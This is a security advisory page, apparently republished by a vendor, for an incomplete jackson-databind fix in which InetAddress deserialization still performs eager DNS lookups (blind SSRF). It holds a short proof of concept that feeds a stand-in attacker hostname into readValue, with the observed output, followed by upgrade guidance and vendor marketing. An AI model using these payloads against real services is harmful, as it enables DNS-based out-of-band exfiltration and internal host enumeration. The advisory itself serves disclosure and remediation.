Summary
jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization
CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of java.net.InetSocketAddress by switching to InetSocketAddress.createUnresolved(...) (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling java.net.InetAddress branch in the very same FromStringDeserializer.Std._deserialize() switch statement, which still calls InetAddress.getByName(value) and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through InetAddress.
Details
File: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java
Sibling cases in the same switch:
- Line 357-358 (UNFIXED):
case STD_INET_ADDRESS:
return InetAddress.getByName(value); // eager forward DNS lookup - Line 359-381 + helper at 494-496 (FIXED by PR #5951):
protected InetSocketAddress _inetSocketAddress(String host, int port) {
// 05-May-2026, tatu: [databind#5951] Prevent DNS lookup:
return InetSocketAddress.createUnresolved(host, port); // no DNS
}
InetAddress is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an InetAddress-typed target, a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot, reaches InetAddress.getByName(attackerControlledString), which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.
The parent fix's own added unit test asserts address.isUnresolved() with the comment "should NOT resolve address", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.
Verified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through _inetSocketAddress -> createUnresolved, while InetAddress.getByName is still emitted unchanged in the InetAddress branch.
PoC
Lab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.
A custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:
ObjectMapper m = new ObjectMapper();
// InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true
m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class);
// InetAddress (unpatched sibling): 1 resolver lookup on the attacker host
m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class);
Observed output (jackson 2.18.8):
[A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null
[B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example
A standalone variant (no SPI) using an RFC-6761 .invalid canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.
Reachability with a plain field (no annotations, no polymorphism, no default typing):
static class Config { public InetAddress bindHost; public int port; }
mapper.readValue("{"bindHost":"poc-reach.example","port":1}", Config.class);
// -> resolver invoked on "poc-reach.example"
Credit : Ta Duc Thien
Impact
An attacker who can influence JSON deserialized into an InetAddress target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket.
Suggested fix: avoid eager resolution for InetAddress as well, e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation).
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-77310 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.18.9, 2.21.5, 2.22.1, 3.1.5, 3.2.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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com.fasterxml.jackson.core:jackson-databind to 2.18.9 or later; com.fasterxml.jackson.core:jackson-databind to 2.21.5 or later; com.fasterxml.jackson.core:jackson-databind to 2.22.1 or later; tools.jackson.core:jackson-databind to 3.1.5 or later; tools.jackson.core:jackson-databind to 3.2.1 or later
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Frequently Asked Questions
- What is CVE-2026-77310? CVE-2026-77310 is a medium-severity server-side request forgery (SSRF) vulnerability in com.fasterxml.jackson.core:jackson-databind (maven), affecting versions >= 2.0.0, < 2.18.9. It is fixed in 2.18.9, 2.21.5, 2.22.1, 3.1.5, 3.2.1. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-77310? CVE-2026-77310 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-77310?
com.fasterxml.jackson.core:jackson-databind(maven) (versions >= 2.0.0, < 2.18.9)tools.jackson.core:jackson-databind(maven) (versions >= 3.0.0, < 3.1.5)
- Is there a fix for CVE-2026-77310? Yes. CVE-2026-77310 is fixed in 2.18.9, 2.21.5, 2.22.1, 3.1.5, 3.2.1. Upgrade to this version or later.
- Is CVE-2026-77310 exploitable, and should I be worried? Whether CVE-2026-77310 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-77310 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-77310?
- Upgrade
com.fasterxml.jackson.core:jackson-databindto 2.18.9 or later - Upgrade
com.fasterxml.jackson.core:jackson-databindto 2.21.5 or later - Upgrade
com.fasterxml.jackson.core:jackson-databindto 2.22.1 or later - Upgrade
tools.jackson.core:jackson-databindto 3.1.5 or later - Upgrade
tools.jackson.core:jackson-databindto 3.2.1 or later
- Upgrade